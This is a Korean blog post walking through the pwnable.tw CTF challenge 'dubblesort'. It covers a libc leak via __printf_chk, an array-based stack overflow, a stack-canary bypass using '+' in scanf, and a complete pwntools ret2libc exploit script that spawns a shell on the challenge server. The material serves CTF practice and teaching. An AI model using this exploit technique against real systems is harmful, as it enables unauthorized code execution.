본문 바로가기

CTF/Pwnable.tw

Pwnable.tw pwnable_dubblesort Write up

나름 재밌는 문제였는데 조금 이상한 문제이기도 했다.

진짜 처음에 BOF터지는건 찾았는데 스택이 자꾸 이상하게 밖혀서 고생좀 했다.

 

일단 Leak 은 __printf_chk() 이 함수 이용한거임.

실행시키면 이렇게 앞에 이상한 문자열이 나오는데 저게 __printf_chk() 이거때문에 그러는거같았음.

스택 봐보면 A를 이어서 넣었는데 41앞에 붙어있는게 보일턴데 저거까지 같이 출력되는거임. 즉 libc가 있는대까지 A를 붙여서 Memory Leak을 시켜버리는거임. 근데 개 골떄리는게 내꺼엔 아됬음 ㅋㅋㅋㅋ nc로 바꾸면 Leak 이 정상적으로 되는데 로컬로만 하면 안됨 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

 

이거때문에 멘탈 한번 나가버림 충격 그 자체... 뭐 일단 Leak 은 됬으니까... leak 은 다른데서 코드 배껴왔음... 그래서 배열로 버퍼오버플로우 발생하니까 이걸로 익스하면된다.

 

https://drx.home.blog/2019/04/09/pwnable-tw-dubblesort/

보기 편하게 그림하나 가지고 왔음. 이게 제일 좋은 그림인듯함 여기서 canary 를 또 우회시켜줘야되는데 이 문제에서 우회하는방법은 총 두가지임 canary에다가 "+" 를 넣어서 우회시키던가 아니면 그냥 익스해버리고 마지막에 scanf("%u") 이거할떄 문자열을 넣어서 강제종료시켜버리면 카나리가 우회됨, 

 

익스 빠밤~~~ 하면됨

 

from pwn import *

#p = process("./dubblesort")
p = remote('chall.pwnable.tw', 10101)
#context.terminal = ['tmux', 'splitw', '-h']

#gdb.attach(p)

#p.interactive()

p.recvuntil("What your name :")
p.sendline("A"*24)
p.recvuntil('A'*24)

leak = u32(p.recv(4))
libc_base = leak - 0x0a - 1769472
success('libc_base = '+hex(libc_base))

addr_system = libc_base + 239936
addr_binsh = libc_base + 1412747

log.info('system_addr = '+hex(addr_system))
log.info('binsh_addr = '+hex(addr_binsh))

p.recvuntil("do you what to sort :")
p.sendline("35")

for i in range(24):
    p.recv()
    p.sendline("1")
p.recv()
p.sendline("+")

for i in range(9):                  #앞에 8자리는 그냥 채움용 스택 순서 변경하지 않음
    p.recv()
    p.sendline(str(addr_system))

#for i in range(2):
p.recv()
p.sendline(str(addr_binsh))

#p.recv()
#p.sendline("h")

p.interactive()

쪼금 나름 어려운 문제였음...디버깅을 진짜 잘해야됨

'CTF > Pwnable.tw' 카테고리의 다른 글

Pwnable.tw pwnable_silver_bullet Write up  (0) 2019.11.05
Pwnable.tw pwnable_3x17 Write up  (0) 2019.11.04
Pwnable.tw pwnable_start Write up  (0) 2019.11.02